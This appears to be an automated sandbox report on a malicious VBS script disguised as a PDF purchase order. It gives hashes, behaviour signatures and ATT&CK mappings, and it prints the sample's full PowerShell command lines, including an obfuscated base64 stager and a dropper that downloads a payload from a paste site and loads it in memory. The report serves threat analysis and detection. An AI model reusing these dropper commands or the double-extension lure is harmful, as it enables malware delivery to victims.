c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4

General

Target

PO_978585_Windshield_&_Escape_Slide.pdf.vbs
Size

197KB
MD5

4730787ad81772f8d9b03ae8faf9efc3
SHA1

4d09795bab624a2dbeb62a14870693f8c0dc810c
SHA256

c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4
SHA512

d7b28b0377fd0ec04d105a6c3ee3ae92ff98d29b3d8aa1d1c677817fad4b9816126eb4e7e23376d60dd1d263dd0e3ad182732b2e2c8ee0cfa54c64440fdaeaec
SSDEEP

384:z1OlYw8nrW9LrBppppppppppppppppppppNGpppppppppppppppppppppppppppf:sfirg/LNA

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pasteio.com/download/xcxWvykfm30a

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

3 2652 powershell.exe
5 2652 powershell.exe
7 2652 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2192 powershell.exe
2652 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2192 powershell.exe
2652 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2192 powershell.exe
Token: SeDebugPrivilege 2652 powershell.exe

flow	pid	process
3	2652	powershell.exe
5	2652	powershell.exe
7	2652	powershell.exe

pid	process
2192	powershell.exe
2652	powershell.exe

pid	process
2192	powershell.exe
2652	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2984 wrote to memory of 2192	2984	WScript.exe	powershell.exe
PID 2984 wrote to memory of 2192	2984	WScript.exe	powershell.exe
PID 2984 wrote to memory of 2192	2984	WScript.exe	powershell.exe
PID 2192 wrote to memory of 2652	2192	powershell.exe	powershell.exe
PID 2192 wrote to memory of 2652	2192	powershell.exe	powershell.exe
PID 2192 wrote to memory of 2652	2192	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bw▒GI▒cwB4▒GU▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒Br▒GU▒bgBx▒Hg▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HU▒c▒Bk▒Gc▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒JwBo▒HQ▒d▒Bw▒HM▒Og▒v▒C8▒c▒Bh▒HM▒d▒Bl▒Gk▒bw▒u▒GM▒bwBt▒C8▒Z▒Bv▒Hc▒bgBs▒G8▒YQBk▒C8▒e▒Bj▒Hg▒VwB2▒Hk▒awBm▒G0▒Mw▒w▒GE▒Jw▒p▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dQBw▒GQ▒Zw▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒MQ▒u▒EM▒b▒Bh▒HM▒cw▒x▒Cc▒KQ▒u▒Ec▒ZQB0▒E0▒ZQB0▒Gg▒bwBk▒Cg▒JwBa▒Hg▒SwBI▒Ec▒Jw▒p▒C4▒SQBu▒HY▒bwBr▒GU▒K▒▒k▒G4▒dQBs▒Gw▒L▒▒g▒Fs▒bwBi▒Go▒ZQBj▒HQ▒WwBd▒F0▒I▒▒o▒Cc▒ag▒1▒DM▒MQ▒4▒Gk▒SwBX▒C8▒dwBh▒HI▒LwBt▒G8▒Yw▒u▒G4▒aQBi▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Gs▒ZQBu▒HE▒e▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒c▒Bi▒HM▒e▒Bl▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs');powershell -command $KByHL;
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$pbsxe = '034';$kenqx = 'C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs';[Byte[]] $nupdg = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xcxWvykfm30a'));[system.AppDomain]::CurrentDomain.Load($nupdg).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('j5318iKW/war/moc.nibetsap//:sptth' , $kenqx , '_______________________-------------', $pbsxe, '1', 'Roda' ));"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab22FD.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar235E.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6686928b3f569a8eb03c7f5c4300d26f

SHA1
0e7d60277ab4674072a438ea7c34566d7460c100

SHA256
75baecff01326ee0e2356c8cde6e320c5c7ec1a504436e889c2d29ef07775f63

SHA512
799d9c4b6a89dcb36870bdbf4843be54a4eb2cc768517441b2b80333258659cf9466a22d89b6103815a9089aedf0af73976dd72bb03072e038d483012a1f54f9

Download Submit
memory/2192-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2192-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2192-6-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2192-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-95-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2652-94-0x000000001B620000-0x000000001B62A000-memory.dmp

Filesize
40KB

Download

Analysis

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